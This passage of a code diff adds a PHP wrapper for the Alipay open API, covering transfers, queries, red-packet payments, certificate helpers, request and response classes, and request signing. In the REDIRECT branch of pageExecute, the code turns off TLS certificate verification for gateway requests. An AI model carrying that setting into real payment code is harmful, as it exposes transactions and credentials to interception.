case 2:$payee_type = 'ALIPAY_OPEN_ID';break;
|
||||
case 1:$payee_type = 'ALIPAY_USER_ID';break;
|
||||
default:$payee_type = 'ALIPAY_LOGON_ID';break;
|
||||
}
|
||||
$bizContent = [
|
||||
'out_biz_no' => $out_biz_no, //商户转账唯一订单号
|
||||
'trans_amount' => $amount, //转账金额
|
||||
'product_code' => 'TRANS_ACCOUNT_NO_PWD',
|
||||
'biz_scene' => 'DIRECT_TRANSFER',
|
||||
'order_title' => $payer_show_name, //付款方显示名称
|
||||
'payee_info' => array('identity' => $payee_account, 'identity_type' => $payee_type),
|
||||
'business_params' => json_encode(['payer_show_name_use_alias'=>'true']),
|
||||
];
|
||||
if(!empty($payee_real_name))$bizContent['payee_info']['name'] = $payee_real_name; //收款方真实姓名
|
||||
} else {
|
||||
$apiName = 'alipay.fund.trans.toaccount.transfer';
|
||||
$payee_type = $is_userid?'ALIPAY_USERID':'ALIPAY_LOGONID';
|
||||
$bizContent = [
|
||||
'out_biz_no' => $out_biz_no, //商户转账唯一订单号
|
||||
'payee_type' => $payee_type, //收款方账户类型
|
||||
'payee_account' => $payee_account, //收款方账户
|
||||
'amount' => $amount, //转账金额
|
||||
'payer_show_name' => $payer_show_name, //付款方显示姓名
|
||||
];
|
||||
if(!empty($payee_real_name))$bizContent['payee_real_name'] = $payee_real_name; //收款方真实姓名
|
||||
}
|
||||
|
||||
$result = $this->aopExecute($apiName, $bizContent);
|
||||
if(isset($result['pay_date'])) $result['trans_date'] = $result['pay_date'];
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* 转账到银行卡账户
|
||||
* @param string $out_biz_no 商户转账唯一订单号
|
||||
* @param numeric $amount 转账金额
|
||||
* @param string $payee_account 收款方账户
|
||||
* @param string $payee_real_name 收款方姓名
|
||||
* @param string $payer_show_name 付款方显示姓名
|
||||
* @return mixed {"out_biz_no":"商户订单号","order_id":"支付宝转账订单号","pay_fund_order_id":"支付宝支付资金流水号","status":"SUCCESS","trans_date":"订单支付时间"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function transferToBankCard(string $out_biz_no, $amount, string $payee_account, string $payee_real_name, string $payer_show_name)
|
||||
{
|
||||
$apiName = 'alipay.fund.trans.uni.transfer';
|
||||
$bizContent = [
|
||||
'out_biz_no' => $out_biz_no, //商户转账唯一订单号
|
||||
'trans_amount' => $amount, //转账金额
|
||||
'product_code' => 'TRANS_BANKCARD_NO_PWD',
|
||||
'biz_scene' => 'DIRECT_TRANSFER',
|
||||
'order_title' => $payer_show_name, //付款方显示名称
|
||||
'payee_info' => array(
|
||||
'identity_type' => 'BANKCARD_ACCOUNT',
|
||||
'identity' => $payee_account,
|
||||
'name' => $payee_real_name,
|
||||
'bankcard_ext_info' => array(
|
||||
'account_type' => '2'
|
||||
)
|
||||
),
|
||||
];
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 转账单据查询
|
||||
* @param string $order_id 订单号
|
||||
* @param int $type 订单号类型(0=支付宝转账单据号,1=支付宝支付资金流水号,2=商户转账唯一订单号)
|
||||
* @param int $code 产品类型(0=转账到支付宝账户,1=转账到银行卡)
|
||||
* @return mixed {"order_id":"支付宝转账单据号","pay_fund_order_id":"支付宝支付资金流水号","out_biz_no":"商户转账唯一订单号","trans_amount":1,"status":"SUCCESS","pay_date":"支付时间","error_code":"PAYEE_CARD_INFO_ERROR","fail_reason":"收款方银行卡信息有误"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function query(string $order_id, int $type=0, int $code = 0)
|
||||
{
|
||||
$apiName = 'alipay.fund.trans.common.query';
|
||||
$bizContent = [];
|
||||
if($type==1){
|
||||
$bizContent['pay_fund_order_id'] = $order_id;
|
||||
}elseif($type==2){
|
||||
$bizContent['out_biz_no'] = $order_id;
|
||||
}else{
|
||||
$bizContent['order_id'] = $order_id;
|
||||
}
|
||||
if($type==2){
|
||||
$bizContent['product_code'] = $code == 1 ? 'TRANS_BANKCARD_NO_PWD' : 'TRANS_ACCOUNT_NO_PWD';
|
||||
$bizContent['biz_scene'] = 'DIRECT_TRANSFER';
|
||||
}
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 账户余额查询
|
||||
* @param string $alipay_user_id 支付宝用户ID
|
||||
* @param int $user_type 用户标识类型(0支付宝UID,1支付宝openid)
|
||||
* @return mixed {"available_amount":"账户可用余额","freeze_amount":"实时冻结余额"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function accountQuery(string $alipay_user_id = null, int $user_type = 0)
|
||||
{
|
||||
$apiName = 'alipay.fund.account.query';
|
||||
if($user_type == 1){
|
||||
$bizContent = [
|
||||
'alipay_open_id' => $alipay_user_id,
|
||||
'account_type' => 'ACCTRANS_ACCOUNT',
|
||||
];
|
||||
}else{
|
||||
$bizContent = [
|
||||
'alipay_user_id' => $alipay_user_id,
|
||||
'account_type' => 'ACCTRANS_ACCOUNT',
|
||||
];
|
||||
}
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 现金红包转账接口
|
||||
* @param string $out_biz_no 商户转账唯一订单号
|
||||
* @param numeric $amount 转账金额
|
||||
* @param string $user_id 收款方账户
|
||||
* @param string $order_title 转账业务的标题
|
||||
* @param null $original_order_id 原支付宝业务单号
|
||||
* @return mixed {"out_biz_no":"商户订单号","order_id":"支付宝转账订单号","pay_fund_order_id":"支付宝支付资金流水号","status":"SUCCESS","trans_date":"订单支付时间"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function redPacketTansfer(string $out_biz_no, $amount, string $user_id, string $order_title, $original_order_id = null)
|
||||
{
|
||||
$apiName = 'alipay.fund.trans.uni.transfer';
|
||||
$bizContent = [
|
||||
'out_biz_no' => $out_biz_no,
|
||||
'trans_amount' => $amount,
|
||||
'product_code' => 'STD_RED_PACKET',
|
||||
'biz_scene' => 'PERSONAL_COLLECTION',
|
||||
'order_title' => $order_title,
|
||||
'payee_info' => array('identity' => $user_id, 'identity_type' => 'ALIPAY_USER_ID'),
|
||||
'business_params' => json_encode(['sub_biz_scene'=>'REDPACKET'], JSON_UNESCAPED_UNICODE)
|
||||
];
|
||||
if($original_order_id) $bizContent['original_order_id'] = $original_order_id;
|
||||
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
/**
|
||||
* 红包资金退回接口
|
||||
* @param string $out_request_no 标识一次资金退回请求
|
||||
* @param string $order_id 发红包时支付宝返回的支付宝订单号
|
||||
* @param numeric $refund_amount 需要退款的金额
|
||||
* @return mixed {"refund_order_id":"退款的支付宝系统内部单据id","order_id":"发红包时支付宝返回的支付宝订单号","out_request_no":"标识一次资金退回请求","status":"SUCCESS","refund_amount":"本次退款的金额","refund_date":"时间"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function redPacketRefund(string $out_request_no, string $order_id, $refund_amount)
|
||||
{
|
||||
$apiName = 'alipay.fund.trans.refund';
|
||||
$bizContent = [
|
||||
'order_id' => $order_id,
|
||||
'out_request_no' => $out_request_no,
|
||||
'refund_amount' => $refund_amount,
|
||||
];
|
||||
|
||||
return $this->aopExecute($apiName, $bizContent);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay\Aop;
|
||||
|
||||
class AlipayCertHelper
|
||||
{
|
||||
|
||||
/**
|
||||
* 从证书中提取序列号
|
||||
* @param string $certPath 证书路径
|
||||
* @return string
|
||||
*/
|
||||
public static function getCertSN(string $certPath): string
|
||||
{
|
||||
$cert = file_get_contents($certPath);
|
||||
$cert = str_replace("\n\n", "\n", $cert);
|
||||
$ssl = openssl_x509_parse($cert);
|
||||
return md5(self::array2string(array_reverse($ssl['issuer'])) . $ssl['serialNumber']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 数组转字符串
|
||||
* @param array $array 数组
|
||||
* @return string
|
||||
*/
|
||||
private static function array2string(array $array): string
|
||||
{
|
||||
$string = [];
|
||||
if ($array && is_array($array)) {
|
||||
foreach ($array as $key => $value) {
|
||||
$string[] = $key . '=' . $value;
|
||||
}
|
||||
}
|
||||
return implode(',', $string);
|
||||
}
|
||||
|
||||
/**
|
||||
* 提取根证书序列号
|
||||
* @param string $certPath 根证书
|
||||
* @return string|null
|
||||
*/
|
||||
public static function getRootCertSN(string $certPath): ?string
|
||||
{
|
||||
$cert = file_get_contents($certPath);
|
||||
$array = explode("-----END CERTIFICATE-----", $cert);
|
||||
$SN = null;
|
||||
for ($i = 0; $i < count($array) - 1; $i++) {
|
||||
$ssl[$i] = openssl_x509_parse($array[$i] . "-----END CERTIFICATE-----");
|
||||
if(strpos($ssl[$i]['serialNumber'],'0x') === 0){
|
||||
$ssl[$i]['serialNumber'] = self::hex2dec($ssl[$i]['serialNumberHex']);
|
||||
}
|
||||
if ($ssl[$i]['signatureTypeLN'] == "sha1WithRSAEncryption" || $ssl[$i]['signatureTypeLN'] == "sha256WithRSAEncryption") {
|
||||
if ($SN == null) {
|
||||
$SN = md5(self::array2string(array_reverse($ssl[$i]['issuer'])) . $ssl[$i]['serialNumber']);
|
||||
} else {
|
||||
$SN = $SN . "_" . md5(self::array2string(array_reverse($ssl[$i]['issuer'])) . $ssl[$i]['serialNumber']);
|
||||
}
|
||||
}
|
||||
}
|
||||
return $SN;
|
||||
}
|
||||
|
||||
/**
|
||||
* 0x转高精度数字
|
||||
* @param $hex
|
||||
* @return int|string
|
||||
*/
|
||||
private static function hex2dec($hex)
|
||||
{
|
||||
$dec = 0;
|
||||
$len = strlen($hex);
|
||||
for ($i = 1; $i <= $len; $i++) {
|
||||
$dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));
|
||||
}
|
||||
return $dec;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,158 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay\Aop;
|
||||
|
||||
class AlipayRequest
|
||||
{
|
||||
protected $notifyUrl;
|
||||
|
||||
protected $returnUrl;
|
||||
|
||||
protected $terminalType;
|
||||
|
||||
protected $terminalInfo;
|
||||
|
||||
protected $prodCode;
|
||||
|
||||
protected $authToken;
|
||||
|
||||
protected $appAuthToken;
|
||||
|
||||
protected $bizContent;
|
||||
|
||||
protected $apiMethodName;
|
||||
|
||||
public function setOtherParams($params = [])
|
||||
{
|
||||
foreach ($params as $key => $value) {
|
||||
$this->{$key} = $value;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取用于发起请求的“时间戳”.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public static function getTimestamp(): string
|
||||
{
|
||||
return date('Y-m-d H:i:s');
|
||||
}
|
||||
|
||||
/**
|
||||
* 根据类名获取 API 方法名.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getApiMethodName(): string
|
||||
{
|
||||
return $this->apiMethodName;
|
||||
}
|
||||
|
||||
public function setApiMethodName($apiMethodName): AlipayRequest
|
||||
{
|
||||
$this->apiMethodName = $apiMethodName;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
public function getNotifyUrl()
|
||||
{
|
||||
return $this->notifyUrl;
|
||||
}
|
||||
|
||||
public function setNotifyUrl($notifyUrl): AlipayRequest
|
||||
{
|
||||
$this->notifyUrl = $notifyUrl;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
public function getReturnUrl()
|
||||
{
|
||||
return $this->returnUrl;
|
||||
}
|
||||
|
||||
public function setReturnUrl($returnUrl): AlipayRequest
|
||||
{
|
||||
$this->returnUrl = $returnUrl;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
public function getTerminalType()
|
||||
{
|
||||
return $this->terminalType;
|
||||
}
|
||||
|
||||
public function setTerminalType($terminalType): AlipayRequest
|
||||
{
|
||||
$this->terminalType = $terminalType;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
public function getTerminalInfo()
|
||||
{
|
||||
return $this->terminalInfo;
|
||||
}
|
||||
|
||||
public function setTerminalInfo($terminalInfo): AlipayRequest
|
||||
{
|
||||
$this->terminalInfo = $terminalInfo;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
public function getProdCode()
|
||||
{
|
||||
return $this->prodCode;
|
||||
}
|
||||
|
||||
public function setProdCode($prodCode): AlipayRequest
|
||||
{
|
||||
$this->prodCode = $prodCode;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
public function getAuthToken()
|
||||
{
|
||||
return $this->authToken;
|
||||
}
|
||||
|
||||
public function setAuthToken($authToken): AlipayRequest
|
||||
{
|
||||
$this->authToken = $authToken;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
public function getAppAuthToken()
|
||||
{
|
||||
return $this->appAuthToken;
|
||||
}
|
||||
|
||||
public function setAppAuthToken($appAuthToken): AlipayRequest
|
||||
{
|
||||
$this->appAuthToken = $appAuthToken;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
public function getBizContent()
|
||||
{
|
||||
if (is_array($this->bizContent)) {
|
||||
return json_encode($this->bizContent, JSON_UNESCAPED_UNICODE);
|
||||
}
|
||||
return $this->bizContent;
|
||||
}
|
||||
|
||||
public function setBizContent($bizContent = []): AlipayRequest
|
||||
{
|
||||
$this->bizContent = $bizContent;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay\Aop;
|
||||
|
||||
class AlipayResponse
|
||||
{
|
||||
/**
|
||||
* 响应签名节点名
|
||||
*/
|
||||
const SIGN_NODE = 'sign';
|
||||
|
||||
/**
|
||||
* 响应数据节点后缀
|
||||
*/
|
||||
const RESPONSE_SUFFIX = '_response';
|
||||
|
||||
/**
|
||||
* 响应错误节点名
|
||||
*/
|
||||
const ERROR_NODE = 'error_response';
|
||||
|
||||
/**
|
||||
* 支付宝公钥证书节点名
|
||||
*/
|
||||
const ALIPAY_CERT_SN = 'alipay_cert_sn';
|
||||
|
||||
/**
|
||||
* 原始响应
|
||||
*
|
||||
* @var string
|
||||
*/
|
||||
protected $raw;
|
||||
|
||||
/**
|
||||
* 已解析的响应
|
||||
*
|
||||
* @var mixed
|
||||
*/
|
||||
protected $parsed;
|
||||
|
||||
/**
|
||||
* 数据节点名称
|
||||
*/
|
||||
protected $nodeName;
|
||||
|
||||
/**
|
||||
* 待验签数据
|
||||
*/
|
||||
protected $signData;
|
||||
|
||||
|
||||
/**
|
||||
* @param string $raw 原始数据
|
||||
* @param string $apiName 接口名称
|
||||
* @throws \Exception
|
||||
*/
|
||||
public function __construct(string $raw, string $apiName)
|
||||
{
|
||||
$this->raw = $raw;
|
||||
$this->parsed = json_decode($raw, true);
|
||||
if (!$this->parsed) {
|
||||
$error = function_exists('json_last_error_msg') ? json_last_error_msg() : json_last_error();
|
||||
throw new \Exception('返回数据解析失败:'.$error);
|
||||
}
|
||||
$this->parseResponseData($apiName);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取原始响应的被签名数据,用于验证签名.
|
||||
*
|
||||
* @param string $apiName
|
||||
* @throws \Exception
|
||||
*/
|
||||
protected function parseResponseData(string $apiName)
|
||||
{
|
||||
$nodeName = str_replace(".", "_", $apiName) . self::RESPONSE_SUFFIX;
|
||||
$nodeIndex = strpos($this->raw, $nodeName);
|
||||
if (!$nodeIndex) {
|
||||
$nodeName = self::ERROR_NODE;
|
||||
$nodeIndex = strpos($this->raw, $nodeName);
|
||||
if(!$nodeIndex){
|
||||
throw new \Exception('Response data not found');
|
||||
}
|
||||
}
|
||||
$this->nodeName = $nodeName;
|
||||
|
||||
$signDataStartIndex = $nodeIndex + strlen($nodeName) + 2;
|
||||
$signIndex = strrpos($this->raw, '"'.static::ALIPAY_CERT_SN.'"');
|
||||
if(!$signIndex) {
|
||||
$signIndex = strrpos($this->raw, '"'.static::SIGN_NODE.'"');
|
||||
}
|
||||
|
||||
$signDataEndIndex = $signIndex - 1;
|
||||
$indexLen = $signDataEndIndex - $signDataStartIndex;
|
||||
if ($indexLen < 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->signData = substr($this->raw, $signDataStartIndex, $indexLen);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取待验签数据
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getSignData(): ?string
|
||||
{
|
||||
return $this->signData;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取响应内的签名.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getSign(): ?string
|
||||
{
|
||||
if (isset($this->parsed[static::SIGN_NODE])) {
|
||||
return $this->parsed[static::SIGN_NODE];
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取响应内的数据.
|
||||
*
|
||||
* @param bool $assoc
|
||||
*
|
||||
* @return mixed|object
|
||||
*/
|
||||
public function getData(bool $assoc = true)
|
||||
{
|
||||
if (!isset($this->parsed[$this->nodeName])){
|
||||
return null;
|
||||
}
|
||||
$result = $this->parsed[$this->nodeName];
|
||||
if (!$assoc) {
|
||||
$result = (object) ($result);
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* 判断响应是否成功.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function isSuccess(): bool
|
||||
{
|
||||
if (isset($this->parsed[static::ERROR_NODE])) {
|
||||
return false;
|
||||
}
|
||||
if (!isset($this->parsed[$this->nodeName])){
|
||||
return false;
|
||||
}
|
||||
$data = $this->parsed[$this->nodeName];
|
||||
return isset($data['code']) && $data['code'] == '10000';
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取原始响应.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function getRaw(): string
|
||||
{
|
||||
return $this->raw;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取支付宝公钥证书序列号
|
||||
*
|
||||
* @return bool|string
|
||||
*/
|
||||
public function getAlipayCertSN()
|
||||
{
|
||||
if (isset($this->parsed[static::ALIPAY_CERT_SN])) {
|
||||
return $this->parsed[static::ALIPAY_CERT_SN];
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay\Aop;
|
||||
|
||||
class AlipayResponseException extends \Exception
|
||||
{
|
||||
private $res = [];
|
||||
private $retCode;
|
||||
private $errCode;
|
||||
|
||||
/**
|
||||
* @param array $res
|
||||
*/
|
||||
public function __construct($res)
|
||||
{
|
||||
$this->res = $res;
|
||||
$this->retCode = $res['code'];
|
||||
if (isset($res['sub_msg'])) {
|
||||
$this->errCode = $res['sub_code'];
|
||||
$message = '['.$res['sub_code'].']'.$res['sub_msg'];
|
||||
} elseif (isset($res['msg'])) {
|
||||
$message = '['.$res['code'].']'.$res['msg'];
|
||||
} else {
|
||||
$message = '未知错误';
|
||||
}
|
||||
parent::__construct($message);
|
||||
}
|
||||
|
||||
public function getRetCode()
|
||||
{
|
||||
return $this->retCode;
|
||||
}
|
||||
|
||||
public function getErrCode()
|
||||
{
|
||||
return $this->errCode;
|
||||
}
|
||||
|
||||
public function getResponse(): array
|
||||
{
|
||||
return $this->res;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,485 @@
|
||||
<?php
|
||||
|
||||
namespace Alipay\Aop;
|
||||
|
||||
use Exception;
|
||||
|
||||
class AopClient
|
||||
{
|
||||
//应用ID
|
||||
public $appId;
|
||||
|
||||
//网关
|
||||
public $gatewayUrl = 'https://openapi.alipay.com/gateway.do';
|
||||
|
||||
//API版本
|
||||
public $apiVersion = '1.0';
|
||||
|
||||
//编码
|
||||
public $charset = 'UTF-8';
|
||||
|
||||
//返回数据格式
|
||||
public $format = 'json';
|
||||
|
||||
//应用私钥
|
||||
public $rsaPrivateKey;
|
||||
|
||||
//应用私钥文件路径
|
||||
public $rsaPrivateKeyFilePath;
|
||||
|
||||
//支付宝公钥
|
||||
public $rsaPublicKey;
|
||||
|
||||
//支付宝公钥文件路径
|
||||
public $rsaPublicKeyFilePath;
|
||||
|
||||
//AES加密密钥
|
||||
public $encryptKey;
|
||||
|
||||
//签名方式
|
||||
public $signType = 'RSA2';
|
||||
|
||||
//应用公钥证书编号
|
||||
public $appCertSN;
|
||||
|
||||
//支付宝根证书编号
|
||||
public $alipayRootCertSN;
|
||||
|
||||
//SDK版本
|
||||
protected $sdkVersion = 'alipay-sdk-PHP-4.11.14.ALL';
|
||||
|
||||
/**
|
||||
* 创建客户端.
|
||||
*
|
||||
*/
|
||||
public function __construct() {
|
||||
}
|
||||
|
||||
/**
|
||||
* AES解密数据.
|
||||
*
|
||||
* @param string $content 已加密的数据,如手机号
|
||||
* @param string $aesKey AES密钥
|
||||
*
|
||||
* @return string
|
||||
*
|
||||
* @see https://docs.alipay.com/mini/introduce/aes
|
||||
* @see https://docs.alipay.com/mini/introduce/getphonenumber
|
||||
*/
|
||||
public static function aesDecrypt(string $content, string $aesKey): string
|
||||
{
|
||||
return openssl_decrypt($content, 'aes-128-cbc', base64_decode($aesKey));
|
||||
}
|
||||
|
||||
/**
|
||||
* AES加密数据.
|
||||
*
|
||||
* @param string $content 要加密的数据
|
||||
* @param string $aesKey AES密钥
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public static function aesEncrypt(string $content, string $aesKey): string
|
||||
{
|
||||
$result = openssl_encrypt($content, 'aes-128-cbc', base64_decode($aesKey));
|
||||
return base64_encode($result);
|
||||
}
|
||||
|
||||
/**
|
||||
* 发起请求并解析结果
|
||||
*
|
||||
* @param AlipayRequest $request
|
||||
*
|
||||
* @return AlipayResponse
|
||||
* @throws Exception
|
||||
*/
|
||||
public function execute(AlipayRequest $request): AlipayResponse
|
||||
{
|
||||
$params = $this->build($request);
|
||||
|
||||
$url = $this->gatewayUrl.'?charset='.$this->charset;
|
||||
$raw = $this->curl($url, $params);
|
||||
|
||||
$response = new AlipayResponse($raw, $request->getApiMethodName());
|
||||
|
||||
$this->verifyResponse($response);
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成用于调用收银台SDK的字符串
|
||||
*
|
||||
* @param AlipayRequest $request
|
||||
* @return string
|
||||
* @throws Exception
|
||||
*/
|
||||
public function sdkExecute(AlipayRequest $request): string
|
||||
{
|
||||
$params = $this->build($request);
|
||||
|
||||
return http_build_query($params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 页面提交执行方法
|
||||
*
|
||||
* @param AlipayRequest $request
|
||||
* @param string $httpmethod
|
||||
* @return string
|
||||
* @throws Exception
|
||||
*/
|
||||
public function pageExecute(AlipayRequest $request, string $httpmethod = 'POST'): string
|
||||
{
|
||||
$params = $this->build($request);
|
||||
|
||||
if (strtoupper($httpmethod) == 'REDIRECT') {
|
||||
$requestUrl = $this->gatewayUrl.'?'.http_build_query($params);
|
||||
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, $requestUrl);
|
||||
curl_setopt($ch, CURLOPT_FAILONERROR, false);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
|
||||
$response = curl_exec($ch);
|
||||
if (curl_errno($ch) > 0) {
|
||||
$errmsg = curl_error($ch);
|
||||
curl_close($ch);
|
||||
throw new Exception($errmsg, 0);
|
||||
}
|
||||
$httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||
if ($httpStatusCode == 301 || $httpStatusCode == 302) {
|
||||
$redirect_url = curl_getinfo($ch, CURLINFO_REDIRECT_URL);
|
||||
curl_close($ch);
|
||||
return $redirect_url;
|
||||
} elseif ($httpStatusCode == 200) {
|
||||
curl_close($ch);
|
||||
$response = mb_convert_encoding($response, 'UTF-8', 'GB2312');
|
||||
if(preg_match('/<div\s+class="Todo">([^<]+)<\/div>/i', $response, $matchers)) {
|
||||
throw new Exception($matchers[1]);
|
||||
}
|
||||
}
|
||||
throw new Exception('返回数据解析失败', $httpStatusCode);
|
||||
|
||||
} elseif (strtoupper($httpmethod) == 'GET') {
|
||||
return $this->gatewayUrl.'?'.http_build_query($params);
|
||||
} else {
|
||||
$url = $this->gatewayUrl.'?charset='.$this->charset;
|
||||
|
||||
$html = "<form id='alipaysubmit' name='alipaysubmit' action='{$url}' method='POST'>";
|
||||
foreach ($params as $key => $value) {
|
||||
if ($this->isEmpty($value)) {
|
||||
continue;
|
||||
}
|
||||
$value = htmlentities($value, ENT_QUOTES | ENT_HTML5);
|
||||
$html .= "<input type='hidden' name='{$key}' value='{$value}'/>";
|
||||
}
|
||||
$html .= "<input type='submit' value='ok' style='display:none;'></form>";
|
||||
$html .= "<script>document.forms['alipaysubmit'].submit();</script>";
|
||||
|
||||
return $html;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 拼接请求参数并签名.
|
||||
*
|
||||
* @param AlipayRequest $request
|
||||
*
|
||||
* @return array
|
||||
* @throws Exception
|
||||
*/
|
||||
protected function build(AlipayRequest $request): array
|
||||
{
|
||||
// 组装系统参数
|
||||
$sysParams = [];
|
||||
$sysParams['app_id'] = $this->appId;
|
||||
$sysParams['version'] = $this->apiVersion;
|
||||
$sysParams['alipay_sdk'] = $this->sdkVersion;
|
||||
|
||||
$sysParams['charset'] = $this->charset;
|
||||
$sysParams['format'] = $this->format;
|
||||
$sysParams['sign_type'] = $this->signType;
|
||||
|
||||
$sysParams['method'] = $request->getApiMethodName();
|
||||
$sysParams['timestamp'] = $request->getTimestamp();
|
||||
$sysParams['notify_url'] = $request->getNotifyUrl();
|
||||
$sysParams['return_url'] = $request->getReturnUrl();
|
||||
|
||||
$sysParams['terminal_type'] = $request->getTerminalType();
|
||||
$sysParams['terminal_info'] = $request->getTerminalInfo();
|
||||
$sysParams['prod_code'] = $request->getProdCode();
|
||||
|
||||
$sysParams['auth_token'] = $request->getAuthToken();
|
||||
$sysParams['app_auth_token'] = $request->getAppAuthToken();
|
||||
if (!$this->isEmpty($this->appCertSN) && !$this->isEmpty($this->alipayRootCertSN)) {
|
||||
$sysParams["app_cert_sn"] = $this->appCertSN;
|
||||
$sysParams["alipay_root_cert_sn"] = $this->alipayRootCertSN;
|
||||
}
|
||||
$sysParams['biz_content'] = $request->getBizContent();
|
||||
$sysParams = array_merge($sysParams, get_object_vars($request));
|
||||
// 转换可能是数组的参数
|
||||
foreach ($sysParams as $key => &$param) {
|
||||
if (is_array($param) || is_object($param) && !$param instanceof \CURLFile) {
|
||||
$param = json_encode($param, JSON_UNESCAPED_UNICODE);
|
||||
}
|
||||
if (is_null($param)) {
|
||||
unset($sysParams[$key]);
|
||||
}
|
||||
}
|
||||
|
||||
// 签名
|
||||
$sysParams['sign'] = $this->generateSign($sysParams, $this->signType);
|
||||
|
||||
return $sysParams;
|
||||
}
|
||||
|
||||
/**
|
||||
* 验证返回内容签名
|
||||
*
|
||||
* @param AlipayResponse $response
|
||||
* @throws Exception
|
||||
*/
|
||||
protected function verifyResponse(AlipayResponse $response)
|
||||
{
|
||||
$signData = $response->getSignData();
|
||||
$sign = $response->getSign();
|
||||
if ($this->isEmpty($signData) || $this->isEmpty($sign)) {
|
||||
throw new AlipayResponseException($response->getData());
|
||||
}
|
||||
$checkResult = $this->rsaPubilcVerify($signData, $sign, $this->signType);
|
||||
if (!$checkResult) {
|
||||
if (strpos($signData, '\/') > 0) {
|
||||
$signData = str_replace('\/', '/', $signData);
|
||||
$checkResult = $this->rsaPubilcVerify($signData, $sign, $this->signType);
|
||||
}
|
||||
if (!$checkResult) {
|
||||
throw new Exception('对返回数据使用支付宝公钥验签失败');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 异步通知回调验签
|
||||
*
|
||||
* @param $params
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function verify($params): bool
|
||||
{
|
||||
if (!$params || !isset($params['sign'])) {
|
||||
return false;
|
||||
}
|
||||
$sign = $params['sign'];
|
||||
unset($params['sign']);
|
||||
unset($params['sign_type']);
|
||||
$data = $this->getSignContent($params);
|
||||
try {
|
||||
return $this->rsaPubilcVerify($data, $sign, $this->signType);
|
||||
} catch (Exception $ex) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 异步通知回调验签V2
|
||||
*
|
||||
* @param $params
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function verifyV2($params): bool
|
||||
{
|
||||
if (!$params || !isset($params['sign'])) {
|
||||
return false;
|
||||
}
|
||||
$sign = $params['sign'];
|
||||
unset($params['sign']);
|
||||
$data = $this->getSignContent($params);
|
||||
try {
|
||||
return $this->rsaPubilcVerify($data, $sign, $this->signType);
|
||||
} catch (Exception $ex) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 将参数数组签名(计算 Sign 值).
|
||||
*
|
||||
* @param array $params 参数数组
|
||||
* @param string $signType 签名类型
|
||||
*
|
||||
* @return string
|
||||
* @throws Exception
|
||||
*/
|
||||
protected function generateSign(array $params, string $signType = 'RSA2'): string
|
||||
{
|
||||
$data = $this->getSignContent($params);
|
||||
|
||||
return $this->rsaPrivateSign($data, $signType);
|
||||
}
|
||||
|
||||
/**
|
||||
* 将数组转换为待签名数据.
|
||||
*
|
||||
* @param array $params 参数数组
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
protected function getSignContent(array $params): string
|
||||
{
|
||||
ksort($params);
|
||||
unset($params['sign']);
|
||||
|
||||
$stringToBeSigned = "";
|
||||
